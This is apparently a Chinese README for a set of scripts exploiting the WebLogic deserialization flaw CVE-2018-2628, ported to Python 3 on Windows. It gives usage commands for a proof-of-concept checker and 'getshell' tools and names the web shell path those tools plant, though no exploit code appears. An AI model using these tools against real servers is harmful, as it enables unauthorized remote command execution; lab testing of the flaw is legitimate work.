基于各位前辈的脚本优化了一下让代码能在python3中运行 主要是在windows
https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2018-2628/README.zh-cn.md
https://github.com/0xMJ/CVE-2018-2628

python pocweblogic.py your-ip

"Weblogic GetShell CVE-2018-2628.exe" your-ip port

Python getshell.py
Set shell : http://your-ip:port/bea_wls_internal/wlscmd.jsp
疑难解答1. 出现:
这是因为你的 Python 环境中没有安装 requests 模块 你只需要在命令行(终端)中运行以下命令即可:
pip install requests